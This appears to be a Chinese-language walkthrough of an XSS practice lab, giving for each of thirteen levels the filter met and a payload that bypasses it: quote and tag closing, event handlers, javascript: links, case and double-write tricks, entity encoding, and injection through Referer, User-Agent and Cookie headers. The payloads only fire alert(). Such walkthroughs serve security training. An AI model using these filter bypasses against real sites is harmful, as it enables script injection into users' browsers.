第一关
第二关
input标签的属性值value中,闭合">
,构建payload
"><script>alert(123)<script>
第三关
查看网页源代码,需要闭合单引号
和>
构建payload:
'><script>alert(1)</script>
发现<>
被实体化了
payload:
' οnmοuseοver='alert(123)'
' οnmοusemοve='alert(123)'
第四关
<>
被过滤了
构建payload:
" οnmοusemοve="alert(123)
第五关
payload:
">123acada<script>alert(1)</script>
发现script中间被加上了一个杠
尝试鼠标事件:
" onmousemove='alert(123)'
依旧被添加了_
尝试js伪协议
就是使用a标签的href来运行javascript的方法
这里的script没有被过滤!
"> <a href=javascript:alert('xss') > xss</a>
第六关
script,on开头,以及href都被限制了
到这里我才突然想起来大小写绕过。。。。。。。。。。。之前的应该也可以这样:
payload:
"><ScRipt>alert(1)</script>
第七关
script被过滤!
尝试双写绕过:
payload:
"><scscriptript>alert(1)</scscriptript>
第八关
可以添加友情链接,enmm尝试JAVASCRIPT伪协议
javascript:alert(1)
被限制了
尝试大小写:
javaScRipt:alert(1)
还是无法绕过。
尝试编码绕过:
javascript:alert(1)
直接把scirpt转成实体script
payload:
javascript:alert(1)
第九关
第九关跟第八关相比多了一个判断,判断链接是否合法
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
payload:
javascript:alert('http://xss')
第十关
没有头绪,查看源代码会发现有三个input标签,看来是通过t_sort来传递参数的,但标签都被隐藏了,只能我们自己构造按钮,触发事件
payload:
&t_sort="123" type="text" onclick="alert('xss')
第十一关
查看源代码:
发现多了一个$str11=$_SERVER['HTTP_REFERER'];
referer传参
看来需要自己添加referer头,添加的值绘被传入t_ref
中
构造payload1:
创建一个按钮,点击可以触发xss
referer: click me!" type="button" οnclick="alert(xss)
payload2:
创建一个文本框,鼠标移动上即可触发xss
referer:123" type="text" οnmοuseοver="alert('123')
第十二关
UA处注入即可,构建payload:
click me!" type="button" οnclick="alert('xss')
第十三关
cookie处注入
payload同上